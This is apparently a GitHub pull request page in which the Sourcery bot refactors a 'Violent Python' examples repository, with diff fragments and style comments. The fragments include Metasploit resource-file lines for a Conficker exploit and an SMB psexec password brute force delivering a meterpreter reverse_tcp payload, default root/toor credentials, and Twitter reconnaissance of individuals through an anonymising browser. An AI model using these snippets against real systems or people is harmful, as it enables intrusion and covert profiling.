Sourcery Starbot ⭐ refactored laura1206/Violent-Python-Examples#1
Sourcery Starbot ⭐ refactored laura1206/Violent-Python-Examples#1SourceryAI wants to merge 1 commit into
Conversation
| s.connect((ip, port)) | ||
| banner = s.recv(1024) | ||
| return banner | ||
| return s.recv(1024) |
There was a problem hiding this comment.
Function retBanner refactored with the following changes:
- Inline variable that is immediately returned (
inline-immediately-returned-variable)
| user = 'root' | ||
| password = 'toor' | ||
|
|
There was a problem hiding this comment.
Found the following improvement in Function main:
| configFile.write('set LPORT ' + str(lport) + '\n') | ||
| configFile.write('set LHOST ' + lhost + '\n') | ||
| configFile.write(f'set LPORT {str(lport)}' + '\n') | ||
| configFile.write(f'set LHOST {lhost}' + '\n') |
There was a problem hiding this comment.
Function setupHandler refactored with the following changes:
- Use f-string instead of string concatenation [×2] (
use-fstring-for-concatenation)
| configFile.write('set RHOST ' + str(tgtHost) + '\n') | ||
| configFile.write(f'set RHOST {str(tgtHost)}' + '\n') | ||
| configFile.write('set payload '+\ | ||
| 'windows/meterpreter/reverse_tcp\n') | ||
| configFile.write('set LPORT ' + str(lport) + '\n') | ||
| configFile.write('set LHOST ' + lhost + '\n') | ||
| configFile.write(f'set LPORT {str(lport)}' + '\n') | ||
| configFile.write(f'set LHOST {lhost}' + '\n') |
There was a problem hiding this comment.
Function confickerExploit refactored with the following changes:
- Use f-string instead of string concatenation [×3] (
use-fstring-for-concatenation)
| for password in pF.readlines(): | ||
| for password in pF: | ||
| password = password.strip('\n').strip('\r') | ||
| configFile.write('use exploit/windows/smb/psexec\n') | ||
| configFile.write('set SMBUser ' + str(username) + '\n') | ||
| configFile.write('set SMBPass ' + str(password) + '\n') | ||
| configFile.write('set RHOST ' + str(tgtHost) + '\n') | ||
| configFile.write(f'set SMBUser {username}' + '\n') | ||
| configFile.write(f'set SMBPass {str(password)}' + '\n') | ||
| configFile.write(f'set RHOST {str(tgtHost)}' + '\n') | ||
| configFile.write('set payload '+\ | ||
| 'windows/meterpreter/reverse_tcp\n') | ||
| configFile.write('set LPORT ' + str(lport) + '\n') | ||
| configFile.write('set LHOST ' + lhost + '\n') | ||
| configFile.write(f'set LPORT {str(lport)}' + '\n') | ||
| configFile.write(f'set LHOST {lhost}' + '\n') |
There was a problem hiding this comment.
Function smbBrute refactored with the following changes:
- Iterate over files directly rather than using readlines() (
use-file-iterator) - Use f-string instead of string concatenation [×5] (
use-fstring-for-concatenation) - Remove unnecessary casts to int, str, float or bool (
remove-unnecessary-cast)
| notdecoded=rPkt.notdecoded | ||
| nPkt = RadioTap(version=version,pad=pad,present=present,notdecoded=notdecoded) | ||
| return nPkt | ||
| return RadioTap(version=version,pad=pad,present=present,notdecoded=notdecoded) |
There was a problem hiding this comment.
Function dupRadio refactored with the following changes:
- Inline variable that is immediately returned (
inline-immediately-returned-variable)
| SC=dPkt.SC | ||
| SC=dPkt.SC | ||
| addr4=dPkt.addr4 | ||
| nPkt=Dot11(subtype=subtype,type=Type,proto=proto,FCfield=FCfield,ID=ID,addr1=addr1,addr2=addr2,addr3=addr3,SC=SC,addr4=addr4) | ||
| return nPkt | ||
| return Dot11( | ||
| subtype=subtype, | ||
| type=Type, | ||
| proto=proto, | ||
| FCfield=FCfield, | ||
| ID=ID, | ||
| addr1=addr1, | ||
| addr2=addr2, | ||
| addr3=addr3, | ||
| SC=SC, | ||
| addr4=addr4, | ||
| ) |
There was a problem hiding this comment.
Function dupDot11 refactored with the following changes:
- Inline variable that is immediately returned (
inline-immediately-returned-variable)
| nPkt=SNAP(OUI=oui,code=code) | ||
| return nPkt | ||
| return SNAP(OUI=oui,code=code) |
There was a problem hiding this comment.
Function dupSNAP refactored with the following changes:
- Inline variable that is immediately returned (
inline-immediately-returned-variable)
| nPkt=LLC(dsap=dsap,ssap=ssap,ctrl=ctrl) | ||
| return nPkt | ||
| return LLC(dsap=dsap,ssap=ssap,ctrl=ctrl) |
There was a problem hiding this comment.
Function dupLLC refactored with the following changes:
- Inline variable that is immediately returned (
inline-immediately-returned-variable)
| ID=iPkt.id | ||
| ID=iPkt.id | ||
| flags=iPkt.flags | ||
| ttl=iPkt.ttl | ||
| proto=iPkt.proto | ||
| src=iPkt.src | ||
| dst=iPkt.dst | ||
| options=iPkt.options | ||
| nPkt=IP(version=version,id=ID,tos=tos,flags=flags,ttl=ttl,proto=proto,src=src,dst=dst,options=options) | ||
| return nPkt | ||
| return IP( | ||
| version=version, | ||
| id=ID, | ||
| tos=tos, | ||
| flags=flags, | ||
| ttl=ttl, | ||
| proto=proto, | ||
| src=src, | ||
| dst=dst, | ||
| options=options, | ||
| ) |
There was a problem hiding this comment.
Function dupIP refactored with the following changes:
- Inline variable that is immediately returned (
inline-immediately-returned-variable)
| nPkt=UDP(sport=sport,dport=dport) | ||
| return nPkt | ||
| return UDP(sport=sport,dport=dport) |
There was a problem hiding this comment.
Function dupUDP refactored with the following changes:
- Inline variable that is immediately returned (
inline-immediately-returned-variable)
| notdecoded=rPkt.notdecoded | ||
| nPkt = RadioTap(version=version,pad=pad,present=present,notdecoded=notdecoded) | ||
| return nPkt | ||
| return RadioTap(version=version,pad=pad,present=present,notdecoded=notdecoded) |
There was a problem hiding this comment.
Function dupRadio refactored with the following changes:
- Inline variable that is immediately returned (
inline-immediately-returned-variable)
| SC=dPkt.SC | ||
| SC=dPkt.SC | ||
| addr4=dPkt.addr4 | ||
| nPkt=Dot11(subtype=subtype,type=Type,proto=proto,FCfield=FCfield,ID=ID,addr1=addr1,addr2=addr2,addr3=addr3,SC=SC,addr4=addr4) | ||
| return nPkt | ||
| return Dot11( | ||
| subtype=subtype, | ||
| type=Type, | ||
| proto=proto, | ||
| FCfield=FCfield, | ||
| ID=ID, | ||
| addr1=addr1, | ||
| addr2=addr2, | ||
| addr3=addr3, | ||
| SC=SC, | ||
| addr4=addr4, | ||
| ) |
There was a problem hiding this comment.
Function dupDot11 refactored with the following changes:
- Inline variable that is immediately returned (
inline-immediately-returned-variable)
| nPkt=SNAP(OUI=oui,code=code) | ||
| return nPkt | ||
| return SNAP(OUI=oui,code=code) |
There was a problem hiding this comment.
Function dupSNAP refactored with the following changes:
- Inline variable that is immediately returned (
inline-immediately-returned-variable)
| nPkt=LLC(dsap=dsap,ssap=ssap,ctrl=ctrl) | ||
| return nPkt | ||
| return LLC(dsap=dsap,ssap=ssap,ctrl=ctrl) |
There was a problem hiding this comment.
Function dupLLC refactored with the following changes:
- Inline variable that is immediately returned (
inline-immediately-returned-variable)
| def __repr__(self): | ||
| return self.first_name + ' ' +\ | ||
| self.last_name + ' has job ' + self.job | ||
| return f'{self.first_name} {self.last_name} has job {self.job}' |
There was a problem hiding this comment.
Function reconPerson.__repr__ refactored with the following changes:
- Use f-string instead of string concatenation [×4] (
use-fstring-for-concatenation)
| response = browser.open(\ | ||
| 'http://search.twitter.com/search.json?q='+ query) | ||
| response = browser.open(f'http://search.twitter.com/search.json?q={query}') | ||
| json_objects = json.load(response) | ||
| for result in json_objects['results']: | ||
| new_result = {} | ||
| new_result['from_user'] = result['from_user_name'] | ||
| new_result['geo'] = result['geo'] | ||
| new_result['tweet'] = result['text'] | ||
| new_result = { | ||
| 'from_user': result['from_user_name'], | ||
| 'geo': result['geo'], | ||
| 'tweet': result['text'], | ||
| } | ||
|
|
There was a problem hiding this comment.
Function reconPerson.query_twitter refactored with the following changes:
- Use f-string instead of string concatenation (
use-fstring-for-concatenation) - Merge dictionary assignment with declaration [×3] (
merge-dict-assign)
| query = urllib.quote_plus('from:' + self.handle+\ | ||
| ' since:2009-01-01 include:retweets' | ||
| ) | ||
| query = urllib.quote_plus( | ||
| f'from:{self.handle} since:2009-01-01 include:retweets' | ||
| ) | ||
|
|
||
| tweets = [] | ||
| browser = anonBrowser() | ||
| browser.anonymize() | ||
| response = browser.open('http://search.twitter.com/'+\ | ||
| 'search.json?q=' + query) | ||
| 'search.json?q=' + query) | ||
|
|
||
| json_objects = json.load(response) | ||
| for result in json_objects['results']: | ||
| new_result = {} | ||
| new_result['from_user'] = result['from_user_name'] | ||
| new_result['geo'] = result['geo'] | ||
| new_result['tweet'] = result['text'] | ||
| new_result = { | ||
| 'from_user': result['from_user_name'], | ||
| 'geo': result['geo'], | ||
| 'tweet': result['text'], | ||
| } | ||
|
|
There was a problem hiding this comment.
Function reconPerson.get_tweets refactored with the following changes:
- Use f-string instead of string concatenation [×2] (
use-fstring-for-concatenation) - Merge dictionary assignment with declaration [×3] (
merge-dict-assign)
| interests = {} | ||
| interests['links'] = [] | ||
| interests['users'] = [] | ||
| interests['hashtags'] = [] | ||
|
|
||
| interests = {'links': [], 'users': [], 'hashtags': []} |
There was a problem hiding this comment.
Function reconPerson.find_interests refactored with the following changes:
- Merge dictionary assignment with declaration [×3] (
merge-dict-assign)
| for line in open(cityFile).readlines(): | ||
| for line in open(cityFile): |
There was a problem hiding this comment.
Function reconPerson.twitter_locate refactored with the following changes:
- Iterate over files directly rather than using readlines() (
use-file-iterator)
Thanks for starring sourcery-ai/sourcery ✨ 🌟 ✨
Here's your pull request refactoring your most popular Python repo.
If you want Sourcery to refactor all your Python repos and incoming pull requests install our bot.
Review changes via command line
To manually merge these changes, make sure you're on the
masterbranch, then run: